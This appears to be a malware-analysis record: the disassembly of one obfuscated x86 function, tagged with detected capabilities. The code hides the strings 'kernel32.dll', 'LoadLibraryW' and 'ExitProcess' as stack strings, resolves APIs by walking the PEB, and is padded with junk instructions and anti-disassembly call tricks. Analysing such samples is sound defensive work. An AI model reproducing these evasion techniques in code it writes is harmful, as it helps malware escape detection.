Function at 0x44a952
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
call 0x449b0b
add byte [ebp + 0x36], cl
inc edx
dec ebp
dec edi
cmp dword ss:[ebx + eax*2], edi
dec eax
add esp, 4
or eax, 0xaed7
add eax, 0x163c1
pop eax
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push esi
push ebx
add esp, 4
jmp 0x449b57
add esi, 0x1803f
jmp 0x449b65
xor esi, 0x949a
pop esi
push esi
push eax
add esp, 4
add esi, 0x2eb
sub esi, 0x1076e
pop esi
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push ecx
and ecx, 0x7885
call 0x449bc2
add byte [ebx], bh
inc esi
aas
cmp eax, 0xc4834543
add al, 0xe8
pop es
add byte [eax], al
add byte [eax], al
dec edi
aas
cmp byte [edx + eax*2], dh
aaa
add esp, 4
pop ecx
push ecx
push edi
add esp, 4
or ecx, 0x16091
pop ecx
mov dword [ebp - 0x1fa4], 0xe
push eax
push edi
add esp, 4
or eax, 0x16744
and eax, 0x809
add eax, 0x176a7
pop eax
push eax
push ebx
add esp, 4
jmp 0x449c10
sub eax, 0x1718a
xor eax, 0x1647d
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push ebx
push ebx
add esp, 4
or ebx, 0x150dd
sub ebx, 0x11f8e
pop ebx
push ecx
jmp 0x449c4b
or ecx, 0x170a5
pop ecx
push ebx
push ecx
add esp, 4
or ebx, 0xe887
or ebx, 0x1797b
pop ebx
mov dword [ebp - 0x1fa8], 0xffffffff
push eax
push esi
add esp, 4
add eax, 0xe6bd
and eax, 0x121e5
pop eax
push ebx
sub ebx, 0x1090b
sub ebx, 0x14a9f
pop ebx
push edx
push ebx
add esp, 4
add edx, 0x9393
add edx, 0x13d0d
pop edx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x449cbd
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push edi
call 0x449ccd
add byte [edi + 0x33], al
inc eax
xor al, 0x4e
dec esp
dec esp
inc ecx
cmp eax, 0x8104c483
idiv ebx
pushal
add dword [eax], eax
sub edi, 0x6264
add edi, 0xc21d
pop edi
push esi
push edx
add esp, 4
add esi, 0x6ad6
pop esi
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x449d37
push edx
call 0x449d10
add byte [ebp + 0x4b], cl
xor dh, byte ss:[edi]
dec esp
dec ebp
inc edx
dec edi
add esp, 4
and edx, 0x12150
xor edx, 0x1518c
and edx, 0x9583
pop edx
push edi
push esi
add esp, 4
xor edi, 0x11126
pop edi
jmp 0x449f65
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push ecx
jmp 0x449d53
pop ecx
push edx
push edi
add esp, 4
or edx, 0xb7d3
add edx, 0xf828
call 0x449d75
add byte [esi + 0x36], cl
dec ecx
dec ebx
cmp byte [edi], bh
xor bh, byte [ecx]
inc eax
dec ebx
add esp, 4
or edx, 0x12dae
pop edx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x449de6
push ecx
push ecx
add esp, 4
and ecx, 0xf33
add ecx, 0x12504
or ecx, 0x134d2
or ecx, 0x15127
pop ecx
push ecx
jmp 0x449dc8
add ecx, 0x2404
or ecx, 0x109bb
pop ecx
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x449f17
cmp dword [ebp - 0xc08], 0
jle 0x449f0b
push edi
push edi
add esp, 4
or edi, 0x15a17
or edi, 0x520a
sub edi, 0xe9de
pop edi
push edi
xor edi, 0x4998
sub edi, 0x17897
add edi, 0x89e6
and edi, 0xe6d7
pop edi
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x449ea7
push edx
sub edx, 0x1363e
and edx, 0x172d1
jmp 0x449e50
pop edx
push edi
or edi, 0xfe83
xor edi, 0x130dd
pop edi
push eax
or eax, 0x15e7b
add eax, 0x92b5
pop eax
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x449e8f
mov dword [ebp - 0x14c0], 1
jmp 0x449e99
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x449f0b
push ebx
and ebx, 0xc724
pop ebx
push edx
push esi
add esp, 4
sub edx, 0x278a
or edx, 0x179cd
add edx, 0x8332
and edx, 0x10d12
pop edx
push ecx
push ecx
add esp, 4
sub ecx, 0x2560
pop ecx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x449de6
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x449f60
push edi
sub edi, 0xe596
pop edi
push ebx
push eax
add esp, 4
or ebx, 0x1123b
pop ebx
push esi
push ebx
add esp, 4
jmp 0x449f3f
or esi, 0x13143
xor esi, 0xa102
or esi, 0xeaf0
pop esi
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x449fa1
jmp 0x449cae
push edx
push eax
add esp, 4
add edx, 0xe07d
or edx, 0x1702d
sub edx, 0x12f8b
jmp 0x449f84
pop edx
push edx
call 0x449f93
add byte [edi], dh
dec esp
dec esp
dec edi
inc esp
aas
dec esi
add esp, 4
pop edx
mov dword [ebp - 0x3cc], 0
push esi
push ecx
add esp, 4
or esi, 0xe6e0
sub esi, 0xfeaf
or esi, 0x88c9
add esi, 0x5583
pop esi
push esi
add esi, 0xd2d
sub esi, 0xc6fb
xor esi, 0x179af
pop esi
push edx
push ebx
add esp, 4
sub edx, 0x8533
jmp 0x449fe4
pop edx
push esi
push edi
add esp, 4
xor esi, 0x656e
add esi, 0xeab8
and esi, 0xe273
jmp 0x44a004
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push edx
or edx, 0x15e53
or edx, 0x161f2
pop edx
push ebx
add ebx, 0x5b76
add ebx, 0x3fff
pop ebx
push edx
xor edx, 0x1628c
pop edx
push ecx
and ecx, 0x690a
and ecx, 0x1062a
pop ecx
mov dword [ebp - 0x1fac], 0xffffffff
push edi
jmp 0x44a060
pop edi
push esi
jmp 0x44a06a
sub esi, 0x1fc
pop esi
push edi
push ecx
add esp, 4
sub edi, 0x88ad
add edi, 0x1ca1
jmp 0x44a087
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x44a0a5
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edx
and edx, 0xb6fa
pop edx
push ecx
push eax
add esp, 4
sub ecx, 0x122bb
pop ecx
push ecx
push edx
add esp, 4
xor ecx, 0xeeb8
add ecx, 0x3e2
sub ecx, 0x16310
or ecx, 0x137b9
pop ecx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x44a11f
push edi
sub edi, 0x3216
sub edi, 0x6814
call 0x44a104
add byte [ebx], bh
dec ebx
cmp byte [ecx], bh
dec edx
xor al, 0x4f
inc eax
add esp, 4
pop edi
push eax
push esi
add esp, 4
add eax, 0x1bb3
jmp 0x44a119
pop eax
jmp 0x44a34d
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edi
and edi, 0xbafb
pop edi
push edi
push edi
add esp, 4
and edi, 0x5f2b
pop edi
push eax
push edi
add esp, 4
xor eax, 0x53c6
or eax, 0x89b1
and eax, 0x145ab
sub eax, 0x7cb7
pop eax
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x44a1ce
push ecx
push edi
add esp, 4
xor ecx, 0x12457
and ecx, 0x15c3e
jmp 0x44a1a4
add ecx, 0x18169
pop ecx
push edi
call 0x44a1b9
add byte [edi + 0x48], al
aaa
inc ecx
cmp al, 0x4a
dec ebx
add esp, 4
pop edi
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x44a2ff
cmp dword [ebp - 0xc10], 0
jle 0x44a2f3
push ecx
push eax
add esp, 4
call 0x44a1ee
add byte [ebp + 0x3d], cl
xor esi, dword [esi + ecx*2]
cmp cl, byte [ebp + ecx*2 - 0x7d]
les eax, [ecx + eax*4]
loope 0x44a262
push es
add byte [eax], al
call 0x44a203
add byte [esi], dh
inc esp
cmp eax, 0x83434942
les eax, [ecx + eax*4]
int1
dec eax
push edi
add dword [eax], eax
pop ecx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x44a28f
push esi
push edi
add esp, 4
and esi, 0x152fc
pop esi
push edi
and edi, 0x9341
sub edi, 0x1ca5
pop edi
push ebx
push edx
add esp, 4
xor ebx, 0x759a
or ebx, 0x98b9
or ebx, 0x1513f
pop ebx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x44a277
invalid
mov dword [ebp - 0x14cc], 1
jmp 0x44a281
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x44a2f3
push edi
xor edi, 0x4f1a
pop edi
push esi
push edi
add esp, 4
sub esi, 0x17f50
pop esi
push edi
push edx
add esp, 4
xor edi, 0x16de
xor edi, 0x40b0
jmp 0x44a2ba
add edi, 0xc07c
pop edi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x44a1ce
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x44a348
push eax
push ebx
add esp, 4
add eax, 0x14c43
or eax, 0x17f7
and eax, 0x11d66
pop eax
push esi
push ecx
add esp, 4
sub esi, 0x18386
jmp 0x44a333
and esi, 0x9382
pop esi
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x44a389
jmp 0x44a096
push eax
or eax, 0xafff
xor eax, 0xcd2b
call 0x44a369
add byte [edx], dh
dec edi
xor al, byte [ecx + 0x35]
dec esp
dec edx
dec esp
dec esp
add esp, 4
add eax, 0x9a6b
pop eax
push edi
push esi
add esp, 4
xor edi, 0x5925
pop edi
mov dword [ebp - 0xa5c], 0
push esi
push edx
add esp, 4
add esi, 0x4835
or esi, 0x3ae0
or esi, 0x17475
add esi, 0xe99a
pop esi
push eax
and eax, 0x16a67
sub eax, 0x12c60
or eax, 0xeacd
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push edi
and edi, 0xba85
or edi, 0x7ae2
call 0x44a429
add byte [eax + 0x39], cl
dec esi
inc esi
dec edi
dec esi
dec edi
add esp, 4
xor edi, 0x991d
pop edi
push eax
or eax, 0xfadc
add eax, 0xa7ca
pop eax
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ecx
push eax
add esp, 4
sub ecx, 0x111fd
and ecx, 0x94b
sub ecx, 0xc7da
pop ecx
push edx
push ebx
add esp, 4
sub edx, 0x11b2c
jmp 0x44a505
sub edx, 0x473c
pop edx
push ecx
or ecx, 0x16e70
sub ecx, 0xa6ed
pop ecx
push ebx
push eax
add esp, 4
and ebx, 0x1524a
xor ebx, 0x34d9
pop ebx
push esi
push edx
add esp, 4
or esi, 0x5297
or esi, 0x9fe9
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push eax
add eax, 0x13ad8
or eax, 0x10a7b
and eax, 0x14713
pop eax
push esi
push edx
add esp, 4
and esi, 0x2732
or esi, 0xc1fd
add esi, 0x13d77
or esi, 0x1450a
pop esi
cmp dword [ebp - 0x14d4], 0
jne 0x44a5b0
mov dword [ebp - 0x2e0], 0
jmp 0x44a86c
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
push esi
add esp, 4
call 0x44a5d3
add byte [edi], dh
inc ecx
inc esp
dec ecx
cmp eax, 0x4c48339
and edx, 0x2e8
sub edx, 0x5172
call 0x44a5f0
add byte [esi + 0x3f], al
aaa
xor bh, byte [edx]
dec esi
dec ebx
inc ebx
add esp, 4
pop edx
cmp dword [ebp - 0xc20], 0
jne 0x44a60c
mov dword [ebp - 0x2e0], 0
jmp 0x44a86c
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edi
add edi, 0x7f2
xor edi, 0x1566f
xor edi, 0x44b9
and edi, 0x7dea
pop edi
push ecx
push esi
add esp, 4
or ecx, 0x5dec
and ecx, 0x6362
sub ecx, 0x12f36
pop ecx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
xor ebx, 0xa8a7
pop ebx
push eax
push ecx
add esp, 4
sub eax, 0x2ef9
pop eax
push edx
jmp 0x44a692
or edx, 0xfbfe
call 0x44a6a5
add byte [eax], bh
xor al, 0x49
xor edi, dword [ebx]
cmp al, byte [edx - 0x7d]
les eax, [edx + ebx*2]
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push edx
or edx, 0x8840
call 0x44a717
add byte [esi + 0x3a], al
inc esi
dec edi
inc esp
cmp eax, dword [ebx + 0x6eb04c4]
cmp dword [esi + 0x32], eax
xor al, byte ds:[edx - 0x7f]
ljmp 0x525a
push ecx
sub ecx, 0x17514
sub ecx, 0xb26c
add ecx, 0x11c54
pop ecx
push edx
push ebx
add esp, 4
sub edx, 0x14dde
xor edx, 0x151a7
sub edx, 0x824e
sub edx, 0xb103
pop edx
cmp dword [ebp - 0x2e0], 0
jne 0x44b1b7
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push eax
call 0x44a952
add byte [edx + 0x4b], cl
cmp dword [eax], edi
cmp dh, byte [edi]
inc esp
add esp, 4
and eax, 0x16937
sub eax, 0x1581d
pop eax
push esi
sub esi, 0x4480
jmp 0x44a96f
xor esi, 0x12b5f
pop esi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push eax
push esi
add esp, 4
call 0x44aa0d
add byte [edi + 0x4f], al
xor eax, 0x493b503c
aas
cmp eax, 0x5804c483
push edi
add edi, 0x125
jmp 0x44aa1d
xor edi, 0x5048
xor edi, 0x2739
pop edi
cmp dword [ebp - 0x14dc], 0
jne 0x44aa42
mov dword [ebp - 0x6ec], 0
jmp 0x44acfe
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push edi
push esi
add esp, 4
jmp 0x44aa5f
xor edi, 0x12d80
pop edi
push ecx
push eax
add esp, 4
jmp 0x44aa74
jmp 0x44aa79
add ecx, 0x51d
sub ecx, 0xc75a
pop ecx
cmp dword [ebp - 0xc2c], 0
jne 0x44aa9e
mov dword [ebp - 0x6ec], 0
jmp 0x44acfe
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx